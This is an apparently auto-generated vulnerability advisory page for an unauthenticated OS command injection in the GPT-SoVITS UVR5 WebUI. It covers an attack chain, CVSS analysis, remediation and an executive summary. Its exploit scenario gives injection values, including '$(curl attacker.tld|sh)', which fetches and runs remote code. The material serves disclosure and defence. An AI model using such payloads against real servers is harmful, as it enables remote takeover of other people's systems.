EUVD-2025-211070
GHSA-x4wc-gwq5-xx9p
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessReach exposed UVR5 WebUI
-
DeliverySelect mp3/m4a export format
-
ExploitInject $(...) into output folder field
-
ExecutionShell executes substitution on export
-
ImpactArbitrary code runs as server user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires network reachability to the GPT-SoVITS UVR5 WebUI (default Gradio-style interface) running a version at or before 20250606v2pro. The attacker must specifically choose mp3 or m4a as the export format and place a shell command substitution like $(...) into the output folder path textbox, which is then passed to a shell during export in tools/uvr5/vr.py. Limiting factors: the UVR5 WebUI must be accessible to the attacker (these instances are commonly bound to localhost or a trusted LAN rather than the public internet), and the vulnerable mp3/m4a export code path must be exercised. No authentication, credentials, or user interaction from a victim is required per the CVSS vector (PR:N/UI:N). |
| Impact | All exploitability signals point the same direction and are mutually reinforcing: the supplied CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N) describes network-reachable, low-complexity, unauthenticated exploitation requiring no user interaction, and the VC:H/VI:H/VA:H impact matches a CWE-78 OS command injection that yields arbitrary code execution as the server user. The base score of 9.3 (Critical) is therefore a genuine priority rather than an inflated rating - the description and CVSS agree that a remote attacker can run commands with no authentication. That said, the practical risk is bounded by exposure: GPT-SoVITS is typically run as a local research/inference tool and its UVR5 WebUI is not usually internet-facing, so mass internet exploitation is less likely than opportunistic abuse of exposed or shared instances. Key signals are MISSING and should not be presumed: no EPSS score is provided, the CVE is NOT in CISA KEV, and no public exploit (POC) is listed in the input - so despite the critical score, there is no evidence of active exploitation or widespread weaponization at time of analysis. The description's claim of 'unauthenticated' is consistent with the vector's PR:N, so the auth qualifier is supported by the provided CVSS data. |
| Exploit ScenarioDerived | An attacker who can reach an exposed GPT-SoVITS UVR5 WebUI opens the vocal-removal page, selects mp3 or m4a as the export format, and enters a shell command substitution such as $(id) or $(curl attacker.tld|sh) into the output folder textbox. When the server processes the export, the substitution is executed by the shell, running arbitrary commands as the server user. No public exploit code is identified in the provided data, but the technique is trivial to reproduce given the described input vector. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Oct 12, 2026
Unauthenticated OS command injection in GPT-SoVITS through 20250606v2pro lets any network-reachable attacker run arbitrary commands as the server user by inserting shell substitutions such as $(...) into the UVR5 WebUI output folder textbox and then triggering an mp3 or m4a export. The root cause (CWE-78) sits in tools/uvr5/vr.py, which hands the user-controlled output path to a shell during export without sanitization, so the impact is full compromise of the account running the WebUI (high confidentiality, integrity and availability loss per both the supplied CVSS 4.0 score of 9.3 and the independent CVSS 3.1 assessment of AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). Exploitation depends on the UVR5 WebUI being reachable over the network, which is not guaranteed because these Gradio-style instances are commonly bound to localhost or a trusted LAN, and no public exploit code or confirmed in-the-wild activity has been identified from the available intelligence.
RemediationAI
No vendor-released patch was identified at time of analysis; the upstream fix status should be tracked through GitHub issue #2319 and the advisory at https://www.vulncheck.com/advisories/gpt-sovits-through-20250606v2pro-os-command-injection-via-uvr5-vr-py, and upstream maintainers should be pressed to replace the shell-string invocation at tools/uvr5/vr.py line 143 with an argument-list call (subprocess with shell=False) plus validation of the output path. Until a fixed release is published, the highest-value compensating control is to stop exposing the WebUI: bind the Gradio/UVR5 interface to loopback (server_name 127.0.0.1) or a trusted management network only, accepting the trade-off that remote users lose direct access; where remote access is unavoidable, place the UI behind an authenticating reverse proxy with an IP allowlist, understanding this reduces but does not remove risk if proxy credentials are shared or bypassed. Administrators can also disable or remove the UVR5 module entirely, or restrict the accepted export formats so the mp3/m4a branch is never reachable, at the cost of losing those conversion features, and run the service as a dedicated low-privilege account inside a container with read-only mounts and restricted egress so that a successful injection yields minimal data and no lateral movement. Longer term, audit the codebase for other shell-invocation sites with the same interpolation pattern, since this class of defect is rarely isolated; no public exploit code has been identified, so monitoring upstream releases and the vendor advisory for a patched build remains the definitive remediation.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
GPT-SoVITS is an open-source text-to-speech and voice-conversion toolkit whose training and inference front end exposes a Gradio-style web UI; one bundled component is a UVR5 vocal/background separation module that the user drives from the browser, including an output-folder path field. Per the referenced upstream permalink (tools/uvr5/vr.py, line 143 in commit d7c2210da8c013e81a94bfc7b811a477c99fd506), that output path is interpolated into a shell command rather than passed as a discrete argument vector, which is the classic CWE-78 OS command injection pattern: an attacker-supplied string such as $(command) is interpreted by the shell instead of being treated as inert path data. The vulnerable code path is specifically exercised when the attacker selects mp3 or m4a as the export format, since that branch performs the external conversion invocation; other formats and the surrounding training/inference features are not described as affected. No CPE strings were supplied with the intelligence package and the references are upstream GitHub locations plus a VulnCheck advisory, so the precise fingerprinted product set cannot be enumerated beyond GPT-SoVITS builds at or before the 20250606v2pro release. The privilege obtained is that of the process hosting the WebUI, typically a workstation or shared GPU host user account, which may hold model weights, datasets and local API keys but is not inherently an administrative account.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Unauthenticated network-reachable WebUI (AV:N/PR:N/UI:N), trivial shell substitution input (AC:L), yielding full code execution as the server user (C/I/A:H, scope unchanged).
Primary rating from Vendor (vulncheck).
CVSS VectorVendor: vulncheck
DescriptionCVE.org
GPT-SoVITS through 20250606v2pro contains an OS command injection vulnerability in tools/uvr5/vr.py that allows unauthenticated attackers to execute commands via output folder paths. Attackers can enter shell substitutions like $(...) in the UVR5 WebUI output folder textboxes with mp3 or m4a export to run commands as the server user.
Executive ViewAI
GPT-SoVITS installations through 20250606v2pro expose the UVR5 WebUI to a critical unauthenticated command injection that can let any network-reachable attacker execute arbitrary commands as the service account, with full compromise of confidentiality, integrity, and availability. No public exploit identified at time of analysis, and no vendor-released patch identified; because the WebUI may be reachable on internal networks, leadership should treat this as a high-priority exposure-reduction and monitoring issue.
No vendor-released patch identified at time of analysis; restrict network access to the UVR5 WebUI, bind to localhost or trusted LAN, disable mp3/m4a export, block inbound traffic at firewall, and monitor for shell metacharacter injection or unexpected command execution.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Exploit-DB